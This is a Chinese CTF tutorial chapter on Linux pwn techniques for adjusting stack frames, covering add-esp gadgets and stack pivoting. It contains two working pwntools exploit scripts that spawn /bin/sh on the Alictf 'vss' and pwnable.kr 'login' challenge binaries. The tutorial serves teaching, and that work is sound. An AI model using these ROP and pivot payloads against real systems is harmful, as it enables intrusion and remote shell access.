Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。

教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本。

课程回顾>>

Linux Pwn入门教程第一章:环境配置

Linux Pwn入门教程第二章:栈溢出基础

Linux Pwn入门教程第三章:ShellCode

Linux Pwn入门教程——ROP技术(上)

Linux Pwn入门教程——ROP技术(下)

教程中的题目和脚本若有使用不妥之处,欢迎各位大佬批评指正。

在存在栈溢出的程序中,有时候我们会碰到一些栈相关的问题,例如溢出的字节数太小,ASLR导致的栈地址不可预测等。针对这些问题,我们有时候需要通过gadgets调整栈帧以完成攻击。常用的思路包括加减esp值,利用部分溢出字节修改ebp值并进行stack pivot等。

今天i春秋与大家分享的是Linux Pwn入门教程第五章:调整栈帧的技巧,阅读用时约12分钟。

修改esp扩大栈空间

我们先来尝试一下修改esp扩大栈空间。打开例子~/Alictf 2016-vss/vss,我们发现这是一个64位的程序,且由于使用静态编译+strip命令剥离符号,整个程序看起来比较乱,我们先找到main函数:

IDA载入后窗口显示的是代码块start,这个结构是固定的,call的函数是__libc_start_main,上一行的offset则是main函数。进入main函数后,我们可以通过syscall的eax值,参数等确定几个函数的名字。

sub_4374E0使用了调用号是0x25的syscall,且F5的结果该函数接收一个参数,应该是alarm。

sub_408800字符串单参数,且参数被打印到屏幕上,可以猜测是puts。

sub_437EA0调用sub_437EBD,使用了0号syscall,且接收三个参数,推测为read。

分析后的main函数如下:

被命名为verify的函数内部太过复杂,我们先暂且放弃静态分析的尝试,通过向程序中输入大量字符串我们发现程序存在溢出。

将断点下在call read一行,我们跟踪一下输入的数据的走向。

步进verify函数,执行到call sub_400330一行和执行结果,推测出sub_400330是strncpy( )。

继续往下执行,发现有两个判断,判断输入头两个字母是否是py,若是则直接退出,否则进入一个循环,这个循环会以[rbp+rax+dest]里的值作为循环次数对从输入开始的每个位异或0x66。由于循环次数会被修改且变得过大,循环最后会因为试图访问没有标志位R的内存页而崩溃。

rbp+rax=0x7FFE6CD1A040,该地址所在内存页无法访问。

因此我们需要改变思路,尝试一下在输入的开头加上“py”,这回发现了一个数据可控的栈溢出。

通过观察数据我们很容易发现被修改的EIP是通过strncpy复制到输入前面的0x50个字节的最后8个。由于没有libc,one gadget RCE使不出来,且使用了strncpy,字符串里不能有\\x00,否则会被当做字符串截断从而无法复制满0x50字节制造可控溢出,这就意味着任何地址都不能被写在前0x48个字节中。在这种情况下我们就需要通过修改esp来完成漏洞利用。

首先,尽管我们有那么多的限制条件,但是在main函数中我们看到read函数的参数指明了长度是0x400。幸运的是,read函数可以读取“\\x00”。

这就意味着我们可以把ROP链放在0x50字节之后,然后通过增加esp的值把栈顶抬到ROP链上。我们搜索包含add esp的gadgets,搜索到了一些结果。

通过这个gadget,我们成功把esp的值增加到0x50之后。接下来我们就可以使用熟悉的ROP技术调用sys_read读取“/bin/sh\\x00”字符串,最后调用sys_execve了。构建ROP链和完整脚本如下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
payload = ""
payload += p64(0x6161616161617970) #头两位为py,过检测
payload += 'a'*0x40 #padding
payload += p64(0x46f205) #add esp, 0x58; ret
payload += 'a'*8 #padding
payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_read设置参数
payload +=p64(0x8) #rdx = 8
payload += p64(0x6c7079) #rsi = 0x6c7079
payload += p64(0x401823) #pop rdi; ret 为sys_read设置参数
payload += p64(0x0) #rdi = 0
payload += p64(0x437ea9) #mov rax, 0; syscall 调用sys_read
payload += p64(0x46f208) #pop rax; ret
payload += p64(59) #rax = 0x3b
payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_execve设置参数
payload += p64(0x0) #rdx = 0
payload += p64(0x0) #rsi = 0
payload += p64(0x401823) #pop rdi; ret 为sys_execve设置参数
payload += p64(0x6c7079) #rdi = 0x6c7079
payload += p64(0x437eae) #syscall
print io.recv()
io.send(payload)
sleep(0.1) #等待程序执行,防止出错
io.send('/bin/sh\\x00')
io.interactive()

栈帧劫持stack pivot

通过可以修改esp的gadget可以绕过一些限制,扩大可控数据的字节数,但是当我们需要一个完全可控的栈时这种小把戏就无能为力了。在系列的前几篇文章中我们提到过数次ALSR,即地址空间布局随机化。

这是一个系统级别的安全防御措施,无法通过修改编译参数进行控制,且目前大部分主流的操作系统均实现且默认开启ASLR。正如其名,在开启ASLR之前,一个进程中所有的地址都是确定的,不论重复启动多少次,进程中的堆和栈等的地址都是固定不变的。

这就意味着我们可以把需要用到的数据写在堆栈上,然后直接在脚本里硬编码这个地址完成攻击。例如,我们假设有一个没有开NX保护的,有栈溢出的程序运行在没有ASLR的系统上。由于没有ASLR,每次启动程序时栈地址都是0x7fff0000,那么我们直接写入shellcode并且利用栈溢出跳转到0x7fff0000就可以成功getshell。

而当ASLR开启后,每次启动程序时的栈和堆地址都是随机的,也就是说这次启动时是0x7fff0000,下回可能就是0x7ffe0120。这时候如果没有jmp esp一类的gadget,攻击就会失效,而stack pivot这种技术就是一个对抗ASLR的利器。

stack pivot之所以重要,是因为其利用到的gadget几乎不可能找不到。在函数建立栈帧时有两条指令push ebp; mov ebp, esp,而退出时同样需要消除这两条指令的影响,即leave(mov esp, ebp; pop ebp)。且leave一般紧跟着就是ret。因此,在存在栈溢出的程序中,只要我们能控制到栈中的ebp,我们就可以通过两次leave劫持栈。

第一次leave; ret,new esp为栈劫持的目标地址。可以看到执行到retn时,esp还在原来的栈上,ebp已经指向了新的栈顶。

第二次leave; ret 实际决定栈位置的寄存器esp已经被成功劫持到新的栈上,执行完gadget后栈顶会在new esp-4(64位是-8)的位置上。此时栈完全可控通过预先或者之后在new stack上布置数据可以轻松完成攻击。

我们来看一个实际的例子~/pwnable.kr-login/login,这个程序的逻辑很简单,且预留了一个system(“/bin/sh”)后门。

程序要求我们输入一个base64编码过的字符串,随后会进行解码并且复制到位于bss段的全局变量input中,最后使用auth函数进行验证,通过后进入带有后门的correct( )打开shell。

打开auth函数,我们发现这个auth的手段实际上是计算md5并进行比对,显然以我们的水平要在短时间里做到md5碰撞不现实。但万幸的是,这里的memcpy似乎会造成一个栈溢出。

调试发现不幸的是我们不能控制EIP,只能控制到EBP。这就需要用到stack pivot把对EBP的控制转化为对EIP的控制了。由于程序把解码后的输入复制到地址固定的.bss段上,且从auth到程序结束总共要经过auth和main两个函数的leave; retn,我们可以将栈劫持到保存有输入的.bss段上。毫无疑问,base64加密前的12个字节的最后4个留给.bss段上数据的首地址0x811eb40.根据之前的推演,执行到第二次retn时esp = new esp - 4,所以头4个字节应该是填充位,中间四个字节就是后门的地址。即输入布局如下:

构造脚本如下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
from base64 import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote("172.17.0.2", 10001)
payload = "aaaa" #padding
payload += p32(0x08049284) #system("/bin/sh")地址,整个payload被复制到bss上,栈劫持后retn时栈顶在这里
payload += p32(0x0811eb40) #新的esp地址
io.sendline(b64encode(payload))
io.interactive()

需要注意的是,stack pivot是一个比较重要的技术。在接下来的SROP和ret2dl_resolve中我们还将利用到这个技术。

以上是今天的内容,大家看懂了吗?后面我们将持续更新Linux Pwn入门教程的相关章节,希望大家及时关注。

CTF必备技能丨Linux Pwn入门教程——调整栈帧的技巧的更多相关文章

  1. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  2. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  3. CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  5. CTF必备技能丨Linux Pwn入门教程——ROP技术(下)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  6. CTF必备技能丨Linux Pwn入门教程——ROP技术(上)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  7. CTF必备技能丨Linux Pwn入门教程——ShellCode

    这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>> Linu ...

  8. CTF必备技能丨Linux Pwn入门教程——栈溢出基础

    这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>>Linux ...

  9. CTF必备技能丨Linux Pwn入门教程——环境配置

    说在前面 这是一套Linux Pwn入门教程系列,作者依据Atum师傅在i春秋上的Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 问:为 ...

随机推荐

  1. Android自定义注解

    1.元注解   概念:用来定义其他注解的注解,自定义注解的时候,需要使用它来定义我们的注解.   在jdk 1.5之后提供了 java.lang.annotation 来支持注解功能   常见的四种元 ...

  2. Redis之自问自答

    Q:Redis客户端的批处理大量数据请求时,如何优化请求速率? A:管道技术:Redis是基于客户端-服务端模型的TCP请求/响应服务,且是阻塞式的,客户端需要等待服务端处理完数据后返回状态,才能继续 ...

  3. [视频教程] 使用composer安装使用thinkphp6.0框架

    安装composer -vvv的参数是表示展示安装进度,测试时使用其他参数安装失败,一直卡着不动curl -vvv https://getcomposer.org/installer | phpmv ...

  4. 爬虫---lxml简单操作

    前几篇写了一些Beautiful Soup的一些简单操作,也拿出来了一些实例进行实践,今天引入一个新的python库lxmt,lxmt也可以完成数据的爬取哦 什么是lxml lxml是python的一 ...

  5. STL关联容器的基本操作

    关联容器 map,set map map是一种关联式容器包含 键/值 key/value 相当于python中的字典不允许有重复的keymap 无重复,有序 Map是STL的一个关联容器,它提供一对一 ...

  6. 新版本的node,全局配置

    配置环境变量: 1.在你安装node环境目录下 即是node_modules同级目录中. 创建两个文件夹[node_global]及[node_cache] node_cache:缓存目录 node_ ...

  7. vue+elementUI+node实现登录模块--验证用户名是否正确

    验证用户名是否正确 1==>// 引入qs               import qs from 'qs'; 2===>收集用户账号后, 发送请求 把参数发给后端(把用户名和密码发给后 ...

  8. 201871010116-祁英红《面向对象程序设计(java)》第6-7周学习总结

    项目 内容 <面向对象程序设计(java)> https://home.cnblogs.com/u/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.c ...

  9. 毕业设计代做,各种系统微服务项目ssm项目,员工管理系统,微信小程序,购物商城,二手商城系统,销售系统,等等

    毕业设计代做,各种系统,微服务项目,ssm项目 小程序,商城等,期末作业等都可以,价格好说,长期接单, 有项目说明书,软件介绍相关文档,答辩的时候包过,知识点对接好,给你讲解等, 毕业设计代做,各种系 ...

  10. LeetCode 676. Implement Magic Dictionary实现一个魔法字典 (C++/Java)

    题目: Implement a magic directory with buildDict, and search methods. For the method buildDict, you'll ...